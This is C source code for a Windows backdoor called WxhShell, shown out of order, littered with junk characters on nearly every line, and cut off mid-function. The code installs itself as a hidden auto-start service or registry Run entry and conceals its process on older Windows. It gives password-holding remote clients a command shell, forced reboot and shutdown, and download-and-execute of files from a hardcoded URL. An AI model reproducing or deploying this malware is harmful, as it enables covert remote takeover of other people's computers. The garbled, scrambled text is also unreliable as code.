    break; qq[Dr|%7  
    } &0G9v  
  // 关机 <u# 7K\:  
  case 'd': { @ %q>Jd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ve.P{;;Ky  
    if(Boot(SHUTDOWN)) c\ ZnGI\|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ml?KnSb  
    else { S&[9Vb  
    closesocket(wsh); glROT@  
    ExitThread(0); ij3W8i9'  
    } ^liW*F"UY  
    break; |tLD^`bt  
    } 3q@JhB  
  // 获取shell (ToD u@p  
  case 's': { lS p"(&  
    CmdShell(wsh); w0H#M)c  
    closesocket(wsh); :1bDkoK  
    ExitThread(0); (@^ySiU  
    break; {;u+?uY  
  } (w(k*b/  
  // 退出 fsnZHL}=n  
  case 'x': { J 48$l(l3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  [Ne'2z  
    CloseIt(wsh); ]Z=al`-  
    break; v*As:;D_  
    } 1Q9Hs(s  
  // 离开 ;9ChBA  
  case 'q': { >YF=6zq.`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8uW%jG3/  
    closesocket(wsh); W*(- * \1[  
    WSACleanup(); 9OY ao  
    exit(1); SwO$UqYU=  
    break; 61gyx6v  
        } DYgB_Iak  
  } uT<<G)v)  
  } 9^Web~yi#  
MI:%Eq  
  // 提示信息 d`5AQfL&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YvP62c \  
} 9~a5R]x2  
  } P-8QXDdr  
&u6n5-!v  
  return; =i;T?*@  
} OpIeo+^X*  
w2('75$J  
// shell模块句柄 CM[83>  
int CmdShell(SOCKET sock) 4"!kCUB  
{ B J I N  
STARTUPINFO si; C"s-ttP   
ZeroMemory(&si,sizeof(si)); EymSrZw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #O8=M(- V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >w.%KVBJ  
PROCESS_INFORMATION ProcessInfo; vW?/:  
char cmdline[]="cmd"; @B(E&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F :Ps>  
  return 0; !su773vo  
} V3a6QcG  
El :% \hGy  
// 自身启动模式 +$2`"%nBG  
int StartFromService(void) m9&%A0  
{ OTJMS_IT  
typedef struct ovXk~%_  
{ o>Dd1 j  
  DWORD ExitStatus; X*5N&AJ  
  DWORD PebBaseAddress; UVgSO|Tg  
  DWORD AffinityMask; R>;&4Sjr  
  DWORD BasePriority; `Gl[e4U  
  ULONG UniqueProcessId; ?gvu E1  
  ULONG InheritedFromUniqueProcessId; E_Y!in 70  
}   PROCESS_BASIC_INFORMATION; Bm%|WQK  
lq, ]E/<&  
PROCNTQSIP NtQueryInformationProcess; kDM?`(r  
~kDJ-V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D+~*nc~ g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e5 zi"~  
V*Xr}FE  
  HANDLE             hProcess; )"6"g9A  
  PROCESS_BASIC_INFORMATION pbi; 1cRF0MI  
HNj;_S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h9iQn<lp4.  
  if(NULL == hInst ) return 0; 5tZ0zr  
,\#s_N 7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cN&:V2,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C|3cQ{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -:J<JX)o  
72*j6#zS  
  if (!NtQueryInformationProcess) return 0; KMQPA>w#  
eL}X().  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `P*BW,P'T  
  if(!hProcess) return 0; |90X_6(  
du#f_|xG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [/ertB  
 y}|E)  
  CloseHandle(hProcess); owVks-/  
Yw5-:w0f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wrXn|aV  
if(hProcess==NULL) return 0; ue'dI   
I'p+9H$  
HMODULE hMod; }4h0 {H  
char procName[255]; :2C <;o  
unsigned long cbNeeded; >Q[ Z{  
|k%1mE(+=s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5 ddfdIp  
Ld/6{w4ir  
  CloseHandle(hProcess); imAOYEH7}  
gMkSl8[  
if(strstr(procName,"services")) return 1; // 以服务启动 UK*v\TMv  
4*5e0:O  
  return 0; // 注册表启动 WXDo`_{R  
} "Ehh9 m1&  
KtH^k&z.f  
// 主模块 qK9A /Mc  
int StartWxhshell(LPSTR lpCmdLine) d~h;|Bl[  
{ pLV %g#h  
  SOCKET wsl; |3Oyg?2  
BOOL val=TRUE; t imY0fx #  
  int port=0; yx:+Xy*N  
  struct sockaddr_in door; ;Bzx}7A  
7n+,!oJ  
  if(wscfg.ws_autoins) Install(); oayu*a.  
W|uRQA`  
port=atoi(lpCmdLine); NuUiW*|`7  
z 1^fG)  
if(port<=0) port=wscfg.ws_port; 3G2iRr.o  
7l~^KsX  
  WSADATA data; *,*O.#<6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~kSO YvK$'  
.9,x_\|G*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "bWx<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lQvgq  
  door.sin_family = AF_INET; T:H~Y+qnt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9&`";dg  
  door.sin_port = htons(port); S7#dyAX8  
j|N<6GSke  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a l6y=;\jZ  
closesocket(wsl); [C<K~  
return 1; M*Ej*#  
} l(}L-:@A  
_2{_W9k  
  if(listen(wsl,2) == INVALID_SOCKET) { / #rH18  
closesocket(wsl); h{$k%YJ?  
return 1; 6-)WXJ@V  
} T JZ~Rpq  
  Wxhshell(wsl); ]*lZFP~  
  WSACleanup(); <p/2hHfiD  
Md~._@`|K  
return 0; Yh fQ pe  
4dLnX3 v  
} /`DKX }  
37Q8Yf_  
// 以NT服务方式启动 llWY7u"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1EC;t1.7  
{ -zqpjxU:  
DWORD   status = 0; \0_jmX]p  
  DWORD   specificError = 0xfffffff; ;Oqf{em];  
' ]+!i a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J[hmY=,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >P\eHR,{-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c_M[>#`  
  serviceStatus.dwWin32ExitCode     = 0; jWi~Q o+  
  serviceStatus.dwServiceSpecificExitCode = 0; gTOx|bx  
  serviceStatus.dwCheckPoint       = 0; : xggo  
  serviceStatus.dwWaitHint       = 0; "e8EA!Ipte  
Nq8 3 6HL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y"'p#j  
  if (hServiceStatusHandle==0) return; 0j6b5<Gpc*  
H.' 9]*  
status = GetLastError(); f5b|,JJ  
  if (status!=NO_ERROR) h$6'9rL&i  
{ Kl%[fjI)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ge6S_"  
    serviceStatus.dwCheckPoint       = 0; >3KlI  
    serviceStatus.dwWaitHint       = 0; Y;huTZ  
    serviceStatus.dwWin32ExitCode     = status; 2y!aXk\#C  
    serviceStatus.dwServiceSpecificExitCode = specificError; jl(D;JnF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hif;atO  
    return; fKqr$59>  
  } -s`Wd4AP  
8Q<Nl=g>'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1hgIR^;[b  
  serviceStatus.dwCheckPoint       = 0; ,pdzi9@=t  
  serviceStatus.dwWaitHint       = 0; &y=OZ !M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HJ]e%og  
} _|0#  
&dmIv[LU  
// 处理NT服务事件,比如:启动、停止 rOt{bh6r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %7aJSuQN%  
{ *GBV[D[G,  
switch(fdwControl) (@xC-*  
{ ?hc=w2Ci  
case SERVICE_CONTROL_STOP: %N ~c9B  
  serviceStatus.dwWin32ExitCode = 0; )e`9U.C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A^X\  
  serviceStatus.dwCheckPoint   = 0; ('C)S)98C  
  serviceStatus.dwWaitHint     = 0; ecz-jZ! `  
  { Y,Z$U| U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [7gz?9VyLF  
  } xW5`.^5  
  return; [m h>N$  
case SERVICE_CONTROL_PAUSE: `^hA&/1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :.XlAQR~b  
  break; iJOG"gI&  
case SERVICE_CONTROL_CONTINUE: f>C+l(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]w;t0Bk  
  break; 5 0-7L,  
case SERVICE_CONTROL_INTERROGATE: ?&eS}skL  
  break; 0[%{YmI{W  
}; Cy6!?Mik  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w`f66*@Q1  
} mHju$d  
SH=S>  
// 标准应用程序主函数 I5l%X{u"N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JkT!X  
{ 85Yi2+8f4  
H7&y79mB  
// 获取操作系统版本 .*njgAq7  
OsIsNt=GetOsVer(); \-6y#R-B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^" g?m  
mIYKzu_k=  
  // 从命令行安装 OhCdBO  
  if(strpbrk(lpCmdLine,"iI")) Install(); m)pHCS  
[|eIax xR,  
  // 下载执行文件 1 Vt,5o5  
if(wscfg.ws_downexe) { >h#juO"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mkyYs[  
  WinExec(wscfg.ws_filenam,SW_HIDE); lV^:2I/  
} ej kUNCKQt  
h;+O96V4.  
if(!OsIsNt) { > TCit1yD  
// 如果时win9x,隐藏进程并且设置为注册表启动 G`0{31us  
HideProc(); rCA!b"C2  
StartWxhshell(lpCmdLine); E.NfVeq  
} RxJbQs$Ph  
else [9Rh"H;h  
  if(StartFromService()) UMd.=HC L  
  // 以服务方式启动 hN=kU9@knC  
  StartServiceCtrlDispatcher(DispatchTable); NdLe|L?c  
else R"O%##Ws  
  // 普通方式启动 ]f &]E ~i  
  StartWxhshell(lpCmdLine); M *3G  
%pOz%v~  
return 0; SWI\;:k  
} dazML|1ow  
F#<:ZByjJ@  
GiuE\J9i  
(EWGX |QA  
=========================================== E`^ D9:3:)  
4 5.g;  
TK' 5NM+4  
(VN'1a (  
oz{X"jfu  
Ar/P%$Zfq  
" W[)HFh(#  
hkb\ GcOj  
#include <stdio.h> }DjVZ48  
#include <string.h> !\%JOf}  
#include <windows.h> $+4 4US  
#include <winsock2.h> 13v`rK`7o  
#include <winsvc.h> N-F&=u}  
#include <urlmon.h> ETL7|C"  
(9aOET>GG  
#pragma comment (lib, "Ws2_32.lib") diM*jN#  
#pragma comment (lib, "urlmon.lib") s-WZ3g  
jJ<&!=  
#define MAX_USER   100 // 最大客户端连接数 '\8YH+%It  
#define BUF_SOCK   200 // sock buffer [Ca''JqrA  
#define KEY_BUFF   255 // 输入 buffer l6WEx -d  
DIQ30(MS  
#define REBOOT     0   // 重启 DU"Gz!X]Jd  
#define SHUTDOWN   1   // 关机 k&t.(r\  
p2b~k[  
#define DEF_PORT   5000 // 监听端口 <#M1I!R  
Y&=DjKoVh  
#define REG_LEN     16   // 注册表键长度 a9NuYYr,h  
#define SVC_LEN     80   // NT服务名长度 <BBzv-?D  
+0ukLc@  
// 从dll定义API &glh >9:G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pz2Q]}(w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~gZ1*8 s`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [olSgq!3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CXoiA"P  
R#~l[S8u^  
// wxhshell配置信息 *.wj3' wV  
struct WSCFG { :EHk]Hkz  
  int ws_port;         // 监听端口 DpmAB.  
  char ws_passstr[REG_LEN]; // 口令 b&h'>(  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]=-=D9ZS3  
  char ws_regname[REG_LEN]; // 注册表键名 @(6i 1Iwu9  
  char ws_svcname[REG_LEN]; // 服务名  8(K:2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,R-k]^O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xu-bn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mk~CE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MhE".ZRd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7oIHp_Zq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "u~` ZV(  
k^K76mB  
}; {*hFG:u  
7)#JrpTj%  
// default Wxhshell configuration #| g h  
struct WSCFG wscfg={DEF_PORT, _8 K|2$X  
    "xuhuanlingzhe", lj&\F|-i  
    1, ol_\ "  
    "Wxhshell", !WlL RkwO  
    "Wxhshell", 8lqmd1v  
            "WxhShell Service", W!XBuk-  
    "Wrsky Windows CmdShell Service", QwFA0  
    "Please Input Your Password: ", ip'{@1L  
  1, Kg<~Uf=1  
  "http://www.wrsky.com/wxhshell.exe", R7z @y o  
  "Wxhshell.exe" N6_1iIM  
    }; SFuSM/Pf  
-t<1A8%  
// 消息定义模块 (Lz|o!>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q-R?y+| x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Oz(=%oS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m!<FlEkN  
char *msg_ws_ext="\n\rExit."; tuwlsBV  
char *msg_ws_end="\n\rQuit."; `:r-&QdU o  
char *msg_ws_boot="\n\rReboot..."; .e3@fq  
char *msg_ws_poff="\n\rShutdown..."; '*`n"cC:  
char *msg_ws_down="\n\rSave to "; .,S`VNU  
k-^^Ao*@  
char *msg_ws_err="\n\rErr!"; NF |[j=?  
char *msg_ws_ok="\n\rOK!"; 4,QA {v  
yCkc3s|DA;  
char ExeFile[MAX_PATH]; -9+$z|K  
int nUser = 0; a $'U?%  
HANDLE handles[MAX_USER]; p8.JJt^  
int OsIsNt; 525^/d6v  
N|)e {|k  
SERVICE_STATUS       serviceStatus; N&k\X]U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n'pJl  
jYAm}_?No  
// 函数声明 9CwtBil<#g  
int Install(void); ESIJ QM-[+  
int Uninstall(void); PK&&Vu2M  
int DownloadFile(char *sURL, SOCKET wsh); $1s>efP-  
int Boot(int flag); w-km qh  
void HideProc(void); ^zqQ8{oV  
int GetOsVer(void); Kt]vTn7!9  
int Wxhshell(SOCKET wsl); Z{#3-O<a+n  
void TalkWithClient(void *cs); [\Aws^fD_  
int CmdShell(SOCKET sock); [Ax :gj  
int StartFromService(void); n3U| d+  
int StartWxhshell(LPSTR lpCmdLine); I=[09o  
*&_A4)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l&W:t9o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,:-^O#  
W>{&" 5  
// 数据结构和表定义 >N`, 3;Z  
SERVICE_TABLE_ENTRY DispatchTable[] = 0%\fm W j  
{ }4c$_  
{wscfg.ws_svcname, NTServiceMain}, Q-G8Fo%#,E  
{NULL, NULL} ~tW<]l7  
}; 3_ E}XQd  
Z5wQhhH  
// 自我安装 ~pI`_3  
int Install(void) &DtI+ )[|  
{ 6y`FW[  
  char svExeFile[MAX_PATH]; :TnU}i_/h  
  HKEY key; zC[LcC*+J  
  strcpy(svExeFile,ExeFile); @#o 7U   
b/#<::D `  
// 如果是win9x系统,修改注册表设为自启动 ib]<;t  
if(!OsIsNt) { rfgsas{F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i6;rh-M?.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /K+;HAUTn  
  RegCloseKey(key); e2nZwPH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? )IH#kL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~<Wa$~oY  
  RegCloseKey(key); Q3t%JP>;g  
  return 0; =q"0GUei3  
    } T{#=A$vu  
  } /@&uaw  
} 0,__{?!  
else { v )2yR~J  
{JKG-0)z?  
// 如果是NT以上系统,安装为系统服务 oOXJ7 |n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f e^s`dsG  
if (schSCManager!=0) = K`]cEL  
{ I;$tBgOWq  
  SC_HANDLE schService = CreateService !+ UXu]kA  
  ( eIP k$j{e  
  schSCManager, xA n|OSe  
  wscfg.ws_svcname, ~7\`qH  
  wscfg.ws_svcdisp, )kKeA  
  SERVICE_ALL_ACCESS, 3%x-^.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9]{Ss$W3x  
  SERVICE_AUTO_START, t[b(erO'  
  SERVICE_ERROR_NORMAL, B(- F|q\  
  svExeFile, ~g~`,:Qc  
  NULL, 'P&r^V\~(/  
  NULL, mII8jyg*c  
  NULL, ( Y mIui>  
  NULL, :2{ [f+  
  NULL V*6&GM&  
  ); 98{n6$\  
  if (schService!=0) GapH^trm  
  { 8L@@UUjr  
  CloseServiceHandle(schService); e5ww~%,  
  CloseServiceHandle(schSCManager); hNp.%XnnZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IeIv k55  
  strcat(svExeFile,wscfg.ws_svcname); lrMkp@ f.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `soQp2h-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *Hh*!ePp  
  RegCloseKey(key); hH?ke(&=f  
  return 0; ) I.uqG  
    } -fK_F6_\]  
  } ZU9RvtbKB  
  CloseServiceHandle(schSCManager); 8Tc:TaL  
} f+c{<fX  
} L#_QrR6Sny  
<%`z:G3  
return 1; P[ Vf$ q<  
} Q6[h;lzGV  
_9/Af1 X  
// 自我卸载 <g8{LG0  
int Uninstall(void) 2+LvlS)C  
{ + k   
  HKEY key; vZSwX@0  
WMoRosL74  
if(!OsIsNt) { # kmI#W"^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6<n+p'+n  
  RegDeleteValue(key,wscfg.ws_regname); ia-&?  
  RegCloseKey(key); ,=}+.ax  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wqXo]dX  
  RegDeleteValue(key,wscfg.ws_regname); F@X8a/;F-  
  RegCloseKey(key); YE@!`!`d:  
  return 0; %U97{y  
  } Fi+,omB&  
} [rhK2fr:i  
} Lb2/ Te*  
else { *>j4tA{b@v  
Tr HUM4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @v}M\$N?  
if (schSCManager!=0) .-p?skm=a  
{ j 2Jew  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^F/H?V/PX  
  if (schService!=0) ]G=^7O]`C!  
  { Fz_8m4  
  if(DeleteService(schService)!=0) { VDv>I 2%  
  CloseServiceHandle(schService); m] IN-'  
  CloseServiceHandle(schSCManager); xx%*85<  
  return 0; gf|&u4D  
  } 3],[6%w  
  CloseServiceHandle(schService); {E>(%vD  
  } ;cWFh4_  
  CloseServiceHandle(schSCManager); p:|p?  
} rAQ3x0  
} }j#c#''i  
qIgb;=V  
return 1; UrB {jS?  
} 5CM]-qbf@  
Cx`?}A\%  
// 从指定url下载文件 &eX^ll  
int DownloadFile(char *sURL, SOCKET wsh) cU=EXyP%  
{ HBgt!D0MZ  
  HRESULT hr; MqswYK-s  
char seps[]= "/"; cz*Z/5XH  
char *token; / =:X,^"P  
char *file; :U#4H;kk~j  
char myURL[MAX_PATH]; N%QVkuCbM  
char myFILE[MAX_PATH]; &#[6a&9#[A  
80O[pf*?  
strcpy(myURL,sURL); Z <tJ+  
  token=strtok(myURL,seps); XiUae{j`  
  while(token!=NULL) 9xUAfU  
  { ?bK^IHh  
    file=token; W6uz G  
  token=strtok(NULL,seps); ;(9q, )  
  } kA<58 ,!  
09rbu\h  
GetCurrentDirectory(MAX_PATH,myFILE); yi3Cd@t({{  
strcat(myFILE, "\\"); h{M.+I$}C  
strcat(myFILE, file); e? !A]2  
  send(wsh,myFILE,strlen(myFILE),0); "zBYhZr  
send(wsh,"...",3,0); /=ro$@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9mH/xP:y  
  if(hr==S_OK) \P0>TWE  
return 0; @,v.Y6Ge  
else *H%Jgz,  
return 1; C)`y<O  
elm]e2)F  
} *H,vqs\}y  
veh?oJi@  
// 系统电源模块 *4F6U  
int Boot(int flag) ;3WVrYe  
{ 6N'v`p8  
  HANDLE hToken; '}NQ`\k  
  TOKEN_PRIVILEGES tkp; &7t3D?K'qX  
]l4# KI@  
  if(OsIsNt) { P_ x9:3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ey>V^Fj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r@Tq-o  
    tkp.PrivilegeCount = 1; 0SLS;s.GX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P mgTTI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sKI{AHJ?X  
if(flag==REBOOT) { z>X<Di&x)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7nAB^~)6l  
  return 0; Z-,' M tD  
} d'Z  
else { 7R`:^}'>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X8(, ,>_  
  return 0; @e_<OU  
} =tE7XC3X_  
  } \d#|n u  
  else { jN43vHm\Y9  
if(flag==REBOOT) { 7Z+4F=2ff  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m.A_u7D@  
  return 0; +WYXj  
} [vs5e3B)  
else { `Al( AT(p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3jB5F0^r1  
  return 0; k-&fPEjG  
} h}o7/p  
} #4e Taik  
yY$:zc"J  
return 1; yH0BNz8V  
}  0"_FQv  
-_RMiGM?T  
// win9x进程隐藏模块 <Prz>qL$  
void HideProc(void) nT.2HQ((Xg  
{ :Ojsj_Z;;  
~]_g q;bG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d)&}% 2ku  
  if ( hKernel != NULL ) Z&!5'_9{V  
  { ' s6SKjZS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7C%z 0/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4iiW{rh4  
    FreeLibrary(hKernel); Z;6v`;[  
  } <g|\]\C|  
kF lq@['U  
return; [80L|?, *  
} E6  2{sA^  
1 \_S1ZS  
// 获取操作系统版本 t_PAXj  
int GetOsVer(void) D`2c61jyc  
{ |Y6+Y{|\  
  OSVERSIONINFO winfo; *0GR }k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VYb6#sl  
  GetVersionEx(&winfo); -_@3!X1~i+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q$NT>d6Q  
  return 1; INFbj8T  
  else O]SjShp  
  return 0; VgHVj)ir  
} Ne)H*DT  
\/Z?QBFvz  
// 客户端句柄模块 +p:#$R)MW  
int Wxhshell(SOCKET wsl) $-zt,iRyV  
{ H53dy*wb$  
  SOCKET wsh; 478gl o  
  struct sockaddr_in client; -c"nx$  
  DWORD myID; E{m\LUd^ :  
1d4?+[)gUv  
  while(nUser<MAX_USER) ]D@_cxud3  
{ 8%qHy1  
  int nSize=sizeof(client); `J%iFm/5*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +O 2H":$  
  if(wsh==INVALID_SOCKET) return 1; 9#CE m &c  
[YQVZBT|{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O(~74:#*  
if(handles[nUser]==0) GS %ACk  
  closesocket(wsh); brk>oM;t  
else XANPI|  
  nUser++; 2nL [P#r  
  } .]_ (>^6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |]tIE{d  
FOAy'76p  
  return 0; VfK8')IXk  
} DeTx7i0  
biy1!r  
// 关闭 socket $n30[P@p;  
void CloseIt(SOCKET wsh) 3_:J`xX(4  
{ D\}A{I92F4  
closesocket(wsh); TmZ% ;TN  
nUser--; e_Ue9c.}  
ExitThread(0); gZI88Q  
} 8{@0p"re@  
H B}!Lf#*P  
// 客户端请求句柄 .""?k[f5Q  
void TalkWithClient(void *cs) $wgHaSni  
{ Sz.sX w;  
8Z{e/wnVF  
  SOCKET wsh=(SOCKET)cs; 9"5J-a'  
  char pwd[SVC_LEN]; <6_RWtU  
  char cmd[KEY_BUFF]; .d) X.cO  
char chr[1]; TC7Rw}jF  
int i,j; j:)"s_  
[YbnpI  
  while (nUser < MAX_USER) { |~'PEY  
hmfO\gc}y  
if(wscfg.ws_passstr) { 5C}1iZEJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~(( '1+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ){u/v[O9"  
  //ZeroMemory(pwd,KEY_BUFF); +j*hbG=  
      i=0; Sm@T/+uG:  
  while(i<SVC_LEN) { n-/ {H4\  
cO]_5@#f'8  
  // 设置超时 3 ZZ"mlk*  
  fd_set FdRead; 'jr\F2  
  struct timeval TimeOut; 'G6g yO/K  
  FD_ZERO(&FdRead); I\%a<  
  FD_SET(wsh,&FdRead); ;}iV`)S  
  TimeOut.tv_sec=8; p ~/  
  TimeOut.tv_usec=0; ;7jszs.6%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Zs y&K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '<}N`PS#N  
ia'eV10  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u0&QStI  
  pwd=chr[0]; i%M6$or  
  if(chr[0]==0xd || chr[0]==0xa) { 2pKkg>/S  
  pwd=0; :Pa^/i  
  break; }XJA#@  
  } /$w,8pV =  
  i++; `x{*P.]N!<  
    } |ia#Elavo  
] LcCom:]  
  // 如果是非法用户,关闭 socket 4=BIYC"Lu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q5@N//<DNN  
} gk &  
#qx$ p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2P`Z >_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =tP%K*Il4  
(KHO'QNMt^  
while(1) { [;?CO<  
aYJTSgW  
  ZeroMemory(cmd,KEY_BUFF); TBAF_$  
| z 1  
      // 自动支持客户端 telnet标准    I&m C  
  j=0; zv~dW4'  
  while(j<KEY_BUFF) { <_o).hE{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0j}!4D+  
  cmd[j]=chr[0]; ^Z dDs8j  
  if(chr[0]==0xa || chr[0]==0xd) { e}xx4mYo  
  cmd[j]=0; .paKV"LJ  
  break; V8Lp%*(3  
  } $,@PY5r  
  j++; pTQ70V3  
    } r |H 1Yy  
 ;rH<  
  // 下载文件 xaPaK-  
  if(strstr(cmd,"http://")) { LqZsH0C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yYdow.b!  
  if(DownloadFile(cmd,wsh)) @N tiT,3k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %< ^IAMkp  
  else k H.e"e  
